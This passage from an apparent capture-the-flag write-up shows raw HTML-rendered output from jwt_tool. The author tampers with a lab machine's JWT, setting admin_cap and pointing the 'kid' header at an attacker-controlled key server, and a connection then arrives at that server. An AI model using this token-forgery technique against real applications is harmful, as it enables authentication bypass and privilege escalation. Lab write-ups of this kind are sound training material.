<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[5] </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">DELETE A VALUE</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[0] Continue to next step</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Please</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> select</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> a</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> field</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> number:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">or</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> to</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Continue</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> 0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Signature</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> unchanged</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> no</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> signing</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> method</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> specified</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (-S </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">or</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -X</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">jwttool_410e641b521105c67373e14bfb87cc18</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Tampered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> token:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJlbWFpbCI6InRlc3RAdGVzdC5odGIiLCJhZG1pbl9jYXAiOnRydWV9.mE10x1sbOBWS4rqeWirvPh4USRfZyEAz4parlbs2TC5-FoiMMcyylbMBIvh-u2YHcl6Vd3HcTmboTSDQyaXBHhXMsmXu2gswha-TzpLkUhyiMDfZODNzxoRWVrzUDtDp6urU2_nhHHEnGIFUv3aEo56JfiUQs36m3bTe2IZXShGwLcVgWGhT58Bh1fbpvUhbdXNQmKCmWlMaJ50rhHhn3hylEAZkR0aMSjAP5nMaAXRwKwL1jWizZ_nButaUIC_qC0Jn69_7jEMCvt2N-XAsm4i2tjQ8rlBSkiWfmZ0DTcxEYsn10g8VbTphCdh73smWftaZdbMEbRDb8AKZKtEMQP5UgaHI8Y3gnLkQA5K0cuVaczm-xKwHCYUULWcTre4pJ6e7N2-MKf0oAMDWr-3C1BSOJ-yhaVnJpwjiAzTOjtElLihjvJ-Sc4mxcVLWCNxZ9XpZAjz6QMMRtEaWU9cDSCpobujTiOP99jNS9_ETVLFaJLChnCzskdT7Gu4Uz7XnUAUBn-UbpztH04iQgPvrMjlDMT_9XX-FSkLNs1ZDMA9PUpZrFZGJi6loGnXLxBa8x8JalidEbrO9xTOmHzW3b7i694v4qTviZcx3ub_xRE4THv8i1plHJb61oAgt2v_4Xt_um_Inx3lEp1pzscq7A-s9NK5Tgike0agY-Z_-YRQ</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>However, it did not worked and the token was not valid. I tried to change the field <code>kid</code> in order to put a server on my own in order to sign with a private key I controlk and make the Web application validate it. I again tampered the data.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">$</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">&gt; </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">python3</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> jwt_tool.py</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -T</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">  'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJlbWFpbCI6InRlc3RAdGVzdC5odGIiLCJhZG1pbl9jYXAiOmZhbHNlfQ.mE10x1sbOBWS4rqeWirvPh4USRfZyEAz4parlbs2TC5-FoiMMcyylbMBIvh-u2YHcl6Vd3HcTmboTSDQyaXBHhXMsmXu2gswha-TzpLkUhyiMDfZODNzxoRWVrzUDtDp6urU2_nhHHEnGIFUv3aEo56JfiUQs36m3bTe2IZXShGwLcVgWGhT58Bh1fbpvUhbdXNQmKCmWlMaJ50rhHhn3hylEAZkR0aMSjAP5nMaAXRwKwL1jWizZ_nButaUIC_qC0Jn69_7jEMCvt2N-XAsm4i2tjQ8rlBSkiWfmZ0DTcxEYsn10g8VbTphCdh73smWftaZdbMEbRDb8AKZKtEMQP5UgaHI8Y3gnLkQA5K0cuVaczm-xKwHCYUULWcTre4pJ6e7N2-MKf0oAMDWr-3C1BSOJ-yhaVnJpwjiAzTOjtElLihjvJ-Sc4mxcVLWCNxZ9XpZAjz6QMMRtEaWU9cDSCpobujTiOP99jNS9_ETVLFaJLChnCzskdT7Gu4Uz7XnUAUBn-UbpztH04iQgPvrMjlDMT_9XX-FSkLNs1ZDMA9PUpZrFZGJi6loGnXLxBa8x8JalidEbrO9xTOmHzW3b7i694v4qTviZcx3ub_xRE4THv8i1plHJb61oAgt2v_4Xt_um_Inx3lEp1pzscq7A-s9NK5Tgike0agY-Z_-YRQ'</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">        \</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">   \ </span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">       \ </span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">        \ </span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">         \ </span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">                   \</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">   \_</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">_</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  \</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">     |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">\__</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    __</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> \__</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    __</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">                    |</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">         |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">   \</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">    |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">      |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">          |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">       \</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">         \ </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">    |</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">         |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">        \</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">      |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">          |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    __</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">  \ </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">    __</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">  \ </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  \</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">      |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">      _</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">     |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">      |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">          |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">     |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">     |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">     |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">     /</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> \ </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">      |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">          |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">     |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">     |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">\</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">        |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">    /</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">   \ </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">  |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">      |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">          |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">\</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">        |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">\</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">        |</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">   |</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> \______/</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> \_</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">_/</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">     \_</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">_</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">   \__</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">      \__</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> \______/</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">  \_</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">_____/</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> \_</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">_</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> Version</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 2.2.3</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">                \_</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">_____</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">             @ticarpi</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Original</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> JWT:</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">====================================================================</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">This</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> option</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> allows</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> you</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> to</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> tamper</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> with</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> the</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> header,</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> contents</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> and</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">signature</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> the</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> JWT.</span></span>
<span class="line"><span style="--shiki-light:#032F62;--shiki-dark:#98C379">====================================================================</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Token</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> header</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> values:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[1] typ = </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"JWT"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[2] alg = </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"RS256"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[3] kid = </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"http://localhost:7070/privKey.key"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[4] </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">ADD A VALUE</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[5] </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">DELETE A VALUE</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[0] Continue to next step</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Please</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> select</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> a</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> field</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> number:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">or</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> to</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Continue</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> 3</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Current</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> value</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> kid</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> is:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> http://localhost:7070/privKey.key</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Please</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> enter</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> new</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> value</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> and</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> hit</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ENTER</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> http://10.10.14.21:7070/priv.key</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[1] typ = </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"JWT"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[2] alg = </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"RS256"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[3] kid = </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"http://10.10.14.21:7070/priv.key"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[4] </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">ADD A VALUE</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[5] </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">DELETE A VALUE</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[0] Continue to next step</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Please</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> select</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> a</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> field</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> number:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">or</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> to</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Continue</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> 0</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Token</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> payload</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> values:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[1] username = </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"test"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[2] email = </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"test@test.htb"</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[3] admin_cap = False</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[4] </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">ADD A VALUE</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[5] </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">DELETE A VALUE</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">*</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[0] Continue to next step</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Please</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> select</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> a</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> field</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> number:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">or</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> to</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Continue</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> 0</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Signature</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> unchanged</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> no</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> signing</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> method</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> specified</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (-S </span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">or</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -X</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">jwttool_c61be46e205ab56e38ed59390c87e43e</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> -</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Tampered</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> token:</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly8xMC4xMC4xNC4yMTo3MDcwL3ByaXYua2V5In0.eyJ1c2VybmFtZSI6InRlc3QiLCJlbWFpbCI6InRlc3RAdGVzdC5odGIiLCJhZG1pbl9jYXAiOmZhbHNlfQ.mE10x1sbOBWS4rqeWirvPh4USRfZyEAz4parlbs2TC5-FoiMMcyylbMBIvh-u2YHcl6Vd3HcTmboTSDQyaXBHhXMsmXu2gswha-TzpLkUhyiMDfZODNzxoRWVrzUDtDp6urU2_nhHHEnGIFUv3aEo56JfiUQs36m3bTe2IZXShGwLcVgWGhT58Bh1fbpvUhbdXNQmKCmWlMaJ50rhHhn3hylEAZkR0aMSjAP5nMaAXRwKwL1jWizZ_nButaUIC_qC0Jn69_7jEMCvt2N-XAsm4i2tjQ8rlBSkiWfmZ0DTcxEYsn10g8VbTphCdh73smWftaZdbMEbRDb8AKZKtEMQP5UgaHI8Y3gnLkQA5K0cuVaczm-xKwHCYUULWcTre4pJ6e7N2-MKf0oAMDWr-3C1BSOJ-yhaVnJpwjiAzTOjtElLihjvJ-Sc4mxcVLWCNxZ9XpZAjz6QMMRtEaWU9cDSCpobujTiOP99jNS9_ETVLFaJLChnCzskdT7Gu4Uz7XnUAUBn-UbpztH04iQgPvrMjlDMT_9XX-FSkLNs1ZDMA9PUpZrFZGJi6loGnXLxBa8x8JalidEbrO9xTOmHzW3b7i694v4qTviZcx3ub_xRE4THv8i1plHJb61oAgt2v_4Xt_um_Inx3lEp1pzscq7A-s9NK5Tgike0agY-Z_-YRQ</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>I started a Web server and was able to see a connection coming.</p>
